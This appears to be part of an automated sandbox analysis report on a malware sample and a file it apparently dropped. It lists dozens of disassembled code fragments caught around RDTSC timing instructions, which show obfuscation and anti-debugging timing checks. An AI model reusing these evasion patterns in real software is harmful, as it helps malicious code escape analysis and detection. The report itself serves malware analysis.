Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2095D second address: 4E20A1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 jmp 00007F5500B4B7CEh 0x00000015 mov eax, ebx 0x00000017 jmp 00007F5500B4B7D0h 0x0000001c mov ecx, dword ptr [ebp-10h] 0x0000001f jmp 00007F5500B4B7D0h 0x00000024 mov dword ptr fs:[00000000h], ecx 0x0000002b jmp 00007F5500B4B7D0h 0x00000030 pop ecx 0x00000031 jmp 00007F5500B4B7D0h 0x00000036 pop edi 0x00000037 jmp 00007F5500B4B7D0h 0x0000003c pop esi 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 pushfd 0x00000041 jmp 00007F5500B4B7D8h 0x00000046 xor ch, 00000018h 0x00000049 jmp 00007F5500B4B7CBh 0x0000004e popfd 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20A1A second address: 4E20A47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C932A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5500C9329Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20A47 second address: 4E2055A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a jmp 00007F5500B4B7CEh 0x0000000f retn 0008h 0x00000012 cmp dword ptr [ebp-2Ch], 10h 0x00000016 mov eax, dword ptr [ebp-40h] 0x00000019 jnc 00007F5500B4B7C5h 0x0000001b push eax 0x0000001c lea edx, dword ptr [ebp-00000590h] 0x00000022 push edx 0x00000023 call esi 0x00000025 push 00000008h 0x00000027 jmp 00007F5500B4B7D7h 0x0000002c push 398FFBE1h 0x00000031 jmp 00007F5500B4B7CFh 0x00000036 xor dword ptr [esp], 4FA5E7C9h 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20B1D second address: 4E20B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20B21 second address: 4E20B25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20B25 second address: 4E20B2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20B2B second address: 4E20B31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20B31 second address: 4E20B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20B35 second address: 4E20B39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20B39 second address: 4E20B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov cx, CEF5h 0x0000000e mov edi, eax 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 mov bx, 0130h 0x00000017 movsx ebx, ax 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f call 00007F5500C9329Dh 0x00000024 pop eax 0x00000025 mov eax, edi 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20B69 second address: 4E20BB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push ecx 0x0000000d mov edi, 263A44C0h 0x00000012 pop edx 0x00000013 pushfd 0x00000014 jmp 00007F5500B4B7D6h 0x00000019 jmp 00007F5500B4B7D5h 0x0000001e popfd 0x0000001f popad 0x00000020 pop ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20BB5 second address: 4E20BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edi, cx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 34F2E0 second address: 34F300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5500B4B7D2h 0x00000009 popad 0x0000000a pushad 0x0000000b je 00007F5500B4B7C6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 34F300 second address: 34EC22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F5500C932A8h 0x0000000d jbe 00007F5500C93298h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 popad 0x00000016 nop 0x00000017 js 00007F5500C932A2h 0x0000001d push dword ptr [ebp+122D0F21h] 0x00000023 mov dword ptr [ebp+122D2158h], eax 0x00000029 call dword ptr [ebp+122D1F3Fh] 0x0000002f pushad 0x00000030 cld 0x00000031 xor eax, eax 0x00000033 jmp 00007F5500C932A3h 0x00000038 mov edx, dword ptr [esp+28h] 0x0000003c mov dword ptr [ebp+122D3409h], ecx 0x00000042 mov dword ptr [ebp+122D2D53h], eax 0x00000048 or dword ptr [ebp+122D3409h], edi 0x0000004e jnp 00007F5500C9329Ch 0x00000054 mov dword ptr [ebp+122D3409h], eax 0x0000005a mov esi, 0000003Ch 0x0000005f pushad 0x00000060 add dl, FFFFFF94h 0x00000063 mov dword ptr [ebp+122D21EBh], ebx 0x00000069 popad 0x0000006a add esi, dword ptr [esp+24h] 0x0000006e add dword ptr [ebp+122D1D70h], eax 0x00000074 lodsw 0x00000076 xor dword ptr [ebp+122D1F73h], edi 0x0000007c add eax, dword ptr [esp+24h] 0x00000080 sub dword ptr [ebp+122D314Eh], edx 0x00000086 cmc 0x00000087 mov ebx, dword ptr [esp+24h] 0x0000008b jmp 00007F5500C9329Bh 0x00000090 push eax 0x00000091 jc 00007F5500C932A4h 0x00000097 pushad 0x00000098 push eax 0x00000099 push edx 0x0000009a rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 34EC22 second address: 34EC28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4B301F second address: 4B304B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5500C9329Ch 0x0000000d jmp 00007F5500C932A8h 0x00000012 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4B304B second address: 4B3051 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C5B97 second address: 4C5B9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C5B9D second address: 4C5BA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C5BA3 second address: 4C5BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F5500C932A0h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C5D2A second address: 4C5D49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5500B4B7CCh 0x00000009 jmp 00007F5500B4B7CFh 0x0000000e rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C5D49 second address: 4C5D53 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C5EC0 second address: 4C5EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C5EC4 second address: 4C5ECE instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5500C9329Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C5ECE second address: 4C5F0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F5500B4B7DEh 0x0000000d pushad 0x0000000e jmp 00007F5500B4B7D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C5F0C second address: 4C5F32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnp 00007F5500C93296h 0x0000000c jmp 00007F5500C932A8h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C8EFC second address: 4C8F02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C8F02 second address: 4C8F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jc 00007F5500C93296h 0x0000000c pop esi 0x0000000d popad 0x0000000e mov eax, dword ptr [eax] 0x00000010 jmp 00007F5500C9329Eh 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 jnc 00007F5500C932AFh 0x0000001f pop eax 0x00000020 mov edx, 6A783E48h 0x00000025 lea ebx, dword ptr [ebp+1244DCFAh] 0x0000002b mov esi, 36004457h 0x00000030 mov dword ptr [ebp+122D33D6h], eax 0x00000036 push eax 0x00000037 push ebx 0x00000038 push eax 0x00000039 push edx 0x0000003a jno 00007F5500C93296h 0x00000040 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C8FEE second address: 4C9005 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C9005 second address: 4C90C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C932A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F5500C9329Dh 0x0000000f nop 0x00000010 mov esi, dword ptr [ebp+122D2D93h] 0x00000016 push 00000000h 0x00000018 adc edx, 74802A2Eh 0x0000001e push EFEFDACAh 0x00000023 pushad 0x00000024 jno 00007F5500C93298h 0x0000002a jp 00007F5500C9329Ch 0x00000030 popad 0x00000031 add dword ptr [esp], 101025B6h 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007F5500C93298h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 0000001Dh 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 mov dl, ch 0x00000054 push 00000003h 0x00000056 mov edx, 406D28A0h 0x0000005b push 00000000h 0x0000005d mov ecx, 084069F7h 0x00000062 push 00000003h 0x00000064 mov edi, ecx 0x00000066 mov dword ptr [ebp+122D57D0h], edx 0x0000006c call 00007F5500C93299h 0x00000071 jo 00007F5500C932B9h 0x00000077 push eax 0x00000078 push edx 0x00000079 jmp 00007F5500C932A7h 0x0000007e rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C90C7 second address: 4C90E0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5500B4B7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5500B4B7CCh 0x00000012 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C90E0 second address: 4C90E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C90E5 second address: 4C9157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push esi 0x0000000c jnp 00007F5500B4B7CCh 0x00000012 jnc 00007F5500B4B7C6h 0x00000018 pop esi 0x00000019 mov eax, dword ptr [eax] 0x0000001b jmp 00007F5500B4B7CCh 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 jp 00007F5500B4B7D0h 0x0000002a pop eax 0x0000002b push ecx 0x0000002c jmp 00007F5500B4B7D7h 0x00000031 pop ecx 0x00000032 lea ebx, dword ptr [ebp+1244DD03h] 0x00000038 movsx edx, di 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push edi 0x0000003f jmp 00007F5500B4B7CFh 0x00000044 pop edi 0x00000045 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C9157 second address: 4C9166 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5500C9329Bh 0x00000009 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C919F second address: 4C91C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a je 00007F5500B4B7E6h 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4E8088 second address: 4E808E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4E808E second address: 4E80B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5500B4B7D1h 0x00000009 popad 0x0000000a jp 00007F5500B4B7CCh 0x00000010 jne 00007F5500B4B7C6h 0x00000016 push eax 0x00000017 push edx 0x00000018 js 00007F5500B4B7C6h 0x0000001e rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4E89E3 second address: 4E8A01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5500C932A8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4E8A01 second address: 4E8A05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4DC17E second address: 4DC188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5500C93296h 0x0000000a rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4DC188 second address: 4DC19F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7D3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4DC19F second address: 4DC1A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4E94E1 second address: 4E9501 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4E96C6 second address: 4E96DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5500C932A0h 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4E9815 second address: 4E982D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5500B4B7C6h 0x00000008 jmp 00007F5500B4B7CEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4E982D second address: 4E9867 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5500C932A7h 0x00000008 pushad 0x00000009 popad 0x0000000a jng 00007F5500C93296h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F5500C932A3h 0x0000001a rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4E9867 second address: 4E986B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4E99F9 second address: 4E99FF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4E99FF second address: 4E9A05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4E9CE5 second address: 4E9CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4E9CE9 second address: 4E9D09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a je 00007F5500B4B7C6h 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4EB4B5 second address: 4EB4CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C9329Fh 0x00000007 jo 00007F5500C93296h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4EB4CE second address: 4EB4D3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4EB4D3 second address: 4EB4D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4EDA7F second address: 4EDA89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F5500B4B7C6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4EDDD8 second address: 4EDDDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4F4DA0 second address: 4F4DB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnc 00007F5500B4B7C6h 0x0000000c jmp 00007F5500B4B7CDh 0x00000011 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4F4DB9 second address: 4F4DBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C0543 second address: 4C055A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5500B4B7D3h 0x00000009 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C055A second address: 4C056B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5500C9329Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4C056B second address: 4C05A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F5500B4B7CCh 0x0000000f push edi 0x00000010 jg 00007F5500B4B7C6h 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F5500B4B7D1h 0x0000001e rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4F8199 second address: 4F819D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4F819D second address: 4F81A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4F9BC3 second address: 4F9BC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4F9BC8 second address: 4F9BE2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jns 00007F5500B4B7C6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F5500B4B7CCh 0x00000014 jo 00007F5500B4B7C6h 0x0000001a rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4F9BE2 second address: 4F9C0E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5500C932ADh 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jo 00007F5500C93296h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4BEA13 second address: 4BEA2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 jmp 00007F5500B4B7D0h 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FBA4D second address: 4FBA57 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5500C93296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FBD4B second address: 4FBD50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FBE8E second address: 4FBE92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FC076 second address: 4FC08F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5500B4B7D4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FC156 second address: 4FC15C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FC8D9 second address: 4FC8DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FC9DE second address: 4FC9E8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5500C93296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FC9E8 second address: 4FC9FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F5500B4B7C6h 0x00000014 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FC9FC second address: 4FCA00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FCA93 second address: 4FCA99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FCA99 second address: 4FCA9E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FCE67 second address: 4FCE6D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	RDTSC instruction interceptor: First address: 4FD35A second address: 4FD368 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F5500C93296h 0x0000000e rdtsc
